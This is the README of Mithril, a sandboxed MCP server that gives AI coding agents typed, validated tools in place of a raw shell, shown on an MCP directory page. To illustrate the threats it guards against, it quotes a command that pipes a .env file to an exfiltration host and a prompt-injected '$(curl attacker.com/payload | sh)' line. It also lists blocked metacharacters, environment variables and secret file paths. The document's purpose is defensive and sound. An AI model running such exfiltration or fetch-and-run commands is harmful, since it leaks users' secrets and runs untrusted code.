内容
<p align="center">
<img src="assets/logo.png" alt="Mithril" width="400" />
</p>
<h1 align="center">Mithril</h1>
<p align="center">
Sandboxed MCP server that replaces the generic shell tool with validated, purpose-built execution tools for AI agents.
</p>
<p align="center">
<a href="https://github.com/radimsem/mithril/actions/workflows/ci.yml"><img src="https://github.com/radimsem/mithril/actions/workflows/ci.yml/badge.svg?branch=main" alt="CI" /></a>
<a href="https://github.com/radimsem/mithril/releases"><img src="https://img.shields.io/github/v/release/radimsem/mithril?label=release" alt="Release" /></a>
<a href="LICENSE"><img src="https://img.shields.io/badge/license-Apache--2.0-blue" alt="License" /></a>
</p>
---
## Problem
AI coding agents typically interact with your system through a single, unrestricted shell tool. Every command — safe or destructive — runs as a raw string passed to `bash -c`:
```
Bash("rm -rf /tmp/build && cat .env | curl -X POST https://exfil.example.com -d @-")
```
The agent sees one text box. The host sees one text box. There is **no structural boundary** between reading a file and exfiltrating secrets, between running tests and wiping a directory. Prompt injection, hallucinated flags, and accidental shell metacharacters all execute with the same authority.
You are left reading every proposed command character-by-character and hoping you catch the `$(...)` buried inside an otherwise reasonable `grep`.
## Solution
Mithril removes the shell entirely. Instead of one `Bash` tool that accepts arbitrary strings, it exposes **~160 purpose-built tools** — each with typed arguments, validated inputs, confined paths, and OS-level sandboxing:
```json
{
"tool": "Grep",
"arguments": {
"pattern": "TODO",
"path": "src/",
"include": "*.rs"
}
}
```
No shell parsing. No metacharacter expansion. No injection surface. Every argument is validated against its declared type and security rules before a process is spawned — and that process runs inside an OS-level sandbox (`bwrap` on Linux, `sandbox-exec` on macOS) that confines filesystem access to the project directory.
## Installation
### Quick install
The install script handles everything — Rust toolchain, sandbox runtime (`bwrap` on Linux), mithril binary, and optionally [RTK](https://github.com/rtk-ai/rtk) for token-optimized output:
```bash
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh
```
By default the binary is installed to `~/.cargo/bin/mithril`. You can change the install prefix or skip RTK:
```bash
# Custom prefix (binary in ~/.local/bin/)
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh -s -- --prefix ~/.local
# Skip RTK
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh -s -- --skip-rtk
```
Or run locally after cloning:
```bash
./install.sh
./install.sh --prefix ~/.local --skip-rtk
```
If you installed RTK, initialize its global command hooks so that tool output is automatically token-optimized:
```bash
rtk init -g
```
See the [https://github.com/rtk-ai/rtk](https://github.com/rtk-ai/rtk) for configuration options and supported commands.
### From source (requires Rust 1.85+)
```bash
git clone https://github.com/radimsem/mithril.git
cd mithril
cargo build --release
```
The binary is at `target/release/mithril`. Move it somewhere on your `$PATH`:
```bash
cp target/release/mithril ~/.local/bin/
```
### Development dependencies
Mithril tools delegate to the actual CLI binaries on your system (`git`, `cargo`, `docker`, `go`, `node`, etc.). Install what you need — tools whose binaries are missing are automatically hidden from the agent.
A convenience script installs common development tools:
```bash
./scripts/setup-dev.sh
```
## Quickstart
### With Claude Code
Add Mithril to your project's `.mcp.json`:
```json
{
"mcpServers": {
"mithril": {
"type": "stdio",
"command": "mithril",
"args": ["--project-root", "/absolute/path/to/project", "--ecosystem", "rust|go|python|js"],
"env": {}
}
}
}
```
Then start Claude Code in the project directory. Mithril registers its tools automatically — the agent will see `Cat`, `Grep`, `GitStatus`, `CargoTest`, and the rest instead of a single `Bash` tool.
Use this as your first prompt to orient the agent and verify the setup:
```
Read the ServerGuide and ProjectWorkflow prompts from the mithril MCP server.
Then read the project://config and policy://sandbox resources to see how
the server is configured.
Once you understand the setup, run a quick verification:
1. List files in the project root with Ls
2. Read a source file with Cat
3. Check git status with GitStatus
4. Run the project's test/lint command (CargoCheck, GoVet, Pytest, etc.
based on the ecosystem)
Report what worked and what didn't.
```
The agent will discover Mithril's constraints, see the active configuration, and exercise the execution pipeline end-to-end — confirming that tool calls, validation, sandboxing, and process spawning all work before you start real work.
### Configuration
Create an optional `.mithril.toml` in your project root:
```toml
[server]
timeout_secs = 180 # Process timeout (default: 180)
max_output_lines = 2048 # Output truncation (default: 2048)
history_size = 8 # Tool call history buffer (default: 8)
[project]
ecosystem = "rust" # rust | go | python | js
root.abs_path = "/path" # Project working directory
[sandbox]
default_level = "dir" # dir | readonly | container
path_blocklist = [".env", ".env.*", "*.pem", "*.key", "*.p12", "*.pfx"]
```
CLI flags override config file values:
```bash
mithril --project-root /my/project --ecosystem python --sandbox readonly --timeout 300
```
## Architecture
Every tool call flows through four sequential layers before a process is spawned:
```
MCP Request → Router → build_context()
→ [ Validate → Proxy → Sandbox → Runner ]
→ format() → MCP Response
```
| Layer | Purpose |
|-------|---------|
| **Validate** | Type checking, injection guard (`; \| & < > $ ( ) { }` etc.), path confinement (must be under cwd), env blocklist (`LD_PRELOAD`, `DYLD_*`, `PYTHONPATH`, ...), elicitation approval for destructive ops |
| **Proxy** | Optionally prepends [RTK](https://github.com/rtk-ai/rtk) for token-optimized output |
| **Sandbox** | Wraps the command in OS-level isolation — BubbleWrap on Linux, `sandbox-exec` on macOS, noop fallback elsewhere |
| **Runner** | Spawns the process via `tokio::process::Command` (no shell), streams stdout, enforces timeout |
### Workspace structure
```
crates/
├── bin/ CLI entry point (clap, config, MCP transport)
├── common/ Shared types: Config, ExecContext, ToolDef/ToolExec traits, errors
├── patterns/ Compiled regex patterns for argument validation
├── proxy/ Optional RTK prefix layer for token-optimized output
├── runner/ Process spawning: timeouts, stdout streaming
├── sandbox/ OS isolation: BubbleWrap (Linux) / sandbox-exec (macOS)
├── server/ MCP ServerHandler, tool/prompt/resource routing, pipeline
├── tools/ ~160 tool implementations across 10 domains
└── validator/ Injection guard, path confinement, env blocklist, elicitation
```
### Tool domains
| Domain | Tools | Examples |
|--------|-------|----------|
| System | ~29 | `Cat`, `Ls`, `Grep`, `Rm`, `Sed`, `Find`, `Wc`, `Awk` |
| Git | 18 | `GitStatus`, `GitCommit`, `GitDiff`, `GitLog`, `GitStash` |
| Docker | ~27 | `DockerRun`, `DockerBuild`, `DockerExec`, `DockerCompose*` |
| Go | 12 | `GoBuild`, `GoTest`, `GoModTidy`, `GoVet` |
| JavaScript | 13 | `Node`, `NpmInstall`, `Jest`, `Prettier`, `Vitest` |
| Python | 17 | `Python`, `Pytest`, `Ruff`, `Mypy`, `UvRun`, `PipInstall` |
| Rust | 13 | `CargoBuild`, `CargoTest`, `CargoClippy`, `CargoFmt` |
| GitHub | 11 | `GhPrList`, `GhIssueView`, `GhRunList`, `GhReleaseView` |
| GitLab | 11 | `GlabMrList`, `GlabPipelineView`, `GlabCiStatus` |
| Chain | 1 | `RunChain` — pipe/and composition of multiple tools |
## Trade-offs
There are some deliberate trade-offs you should understand before adopting it.
### More verbose tool calls
With a shell tool, the agent proposes compact one-liners:
```
Bash("cat src/main.rs | grep 'TODO'")
```
With Mithril, the same operation is a structured call with explicit arguments:
```json
{
"tool": "RunChain",
"arguments": {
"cwd": "/home/user/project",
"mode": "pipe",
"steps": [
{ "tool": "Cat", "args": { "path": "src/main.rs" } },
{ "tool": "Grep", "args": { "pattern": "TODO" } }
]
}
}
```
This is more verbose. The tool call proposals in your editor will be longer and denser than a bash one-liner.
### Elicitation prompts on mutable operations
Mutable tools — file writes (`Rm`, `Mv`, `Sed`, `Patch`), git mutations (`GitCommit`, `GitPush`, `GitReset`), package managers (`PipInstall`, `CargoAdd`, `NpmInstall`), Docker operations, and others — trigger an [MCP elicitation](https://modelcontextprotocol.io/specification/2025-06-18/server/elicitation) prompt before execution. The agent presents the exact command and you choose one of three options:
| Option | Behavior |
|--------|----------|
| **Allow once** | Execute this command. The next call to the same tool asks again. |
| **Allow for session** | Execute this command and remember the approval for the rest of the session. Optionally accepts a **command prefix pattern** to scope the blanket approval (see below). |
| **Deny** | Reject execution. The tool returns an error and nothing runs. |
#### Command prefix patterns
When you choose "allow for session", you can optionally provide a pattern — a literal command prefix ending with `*` — that scopes which future commands are auto-approved:
```
pattern: "rm *" ← approves any Rm command for the session
pattern: "cargo test *" ← approves CargoTest but not CargoBuild
pattern: "git commit *" ← approves GitCommit but not GitPush
```
If you omit the pattern, the entire tool is approved without restriction for the session.
**Why patterns exist.** In Claude Code, when you allow a tool, the approval is typically all-or-nothing — you approve `Bash` and the agent can run anything. Some MCP hosts offer a command prefix (e.g. "allow all commands starting with `cat foo.txt | grep`"), but that is a host-level mechanism tied to the single shell tool.
Mithril pushes this down into the server. Because each tool is already decomposed into typed arguments, the pattern operates on the **resolved command** — the actual `rm`, `git commit`, or `cargo test` that the sandbox will execute — not on a shell string the agent proposed. The pattern `"cargo test *"` means "any `cargo test` invocation with any arguments", and the injection guard validates the pattern itself before storing it, so the agent cannot smuggle metacharacters into the allowlist.
Rules for patterns:
- Must start with a literal command name (`*` alone is rejected)
- Must end with exactly one trailing `*`
- The prefix itself is checked by the injection guard — no `;`, `|`, `$()`, backticks, etc.
#### Example flow
First call — agent requests `Rm` to delete `build/cache.o`:
```
⚡ Request approval from user to execute command: `rm /home/user/project/build/cache.o`
approval: allow_session
pattern: rm *
```
Second call — agent requests `Rm` to delete `build/tmp.log`. The command matches the stored prefix `rm`, so it executes immediately with no prompt.
Third call — agent requests `GitPush`. This is a different tool with no stored approval, so elicitation fires again.
### Why these trade-offs exist
The verbose structure is what makes validation possible. Each argument has a declared type and a set of security rules — the validator can reject a path traversal attempt in `Cat`'s `path` argument or a shell metacharacter in `Grep`'s `pattern` before any process is spawned. A flat bash string offers no such decomposition.
The same structure is what makes the injection guard work. When an agent receives a prompt injection telling it to run `$(curl attacker.com/payload | sh)`, that string hits the injection guard as a typed argument value — and gets rejected on the spot. In a shell tool, it would execute as a subshell expansion inside whatever command the agent was building. **The validator and sandbox layers ensure that hidden `$(...)` patterns, backtick expansions, and metacharacter sequences cannot break your system or project** — not because you caught them during review, but because the architecture structurally prevents them from reaching a shell.
The elicitation prompts exist because approving `DockerRun` with typed, validated arguments is a fundamentally different act from approving a bash string that happens to start with `docker run`. You know exactly what will execute.
Readability costs something. Security costs something. Mithril bets that for agents operating on your codebase, the security guarantee is worth the friction.
## Uninstallation
Remove the binaries and any project-level configuration:
```bash
rm $(which mithril) # Remove the mithril binary
rm $(which rtk) # Remove RTK binary (if installed)
rm .mithril.toml # Remove project config (if present)
rm .mcp.json # Remove MCP server config (if present)
```
No global state, daemons, or system-level configuration to clean up.
## Contributing
See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on development setup, testing, and submitting changes.
## License
Licensed under the [Apache License 2.0](LICENSE).
## Disclaimer
See [DISCLAIMER.md](DISCLAIMER.md).
MCP 配置
以下是此 MCP Server 的配置信息,可直接复制到 Cursor 或其他 MCP 客户端中使用。
mcp.json
连接信息
猜你喜欢
rea
用于编码代理的逆向工程:一个 CLI 和 MCP 服务器,用于检查任何应用程序,了解其功能,并按照您的方式构建它们。
everything-claude-code
完整的 Claude Code 配置集合 - agents、skills、hooks、commands、rules、MCPs。来自 Anthropic...
Firecrawl
Firecrawl MCP Server 实现了网页抓取、爬虫和内容提取功能。
MarkItDown MCP
MarkItDown-MCP是一个轻量级服务器,用于将URI转换为Markdown。
cc-switch
跨平台的Claude Code、Codex和Gemini CLI一体化助手。
Agent-Reach
赋予你的AI Agent观察整个互联网的眼睛。读取并搜索...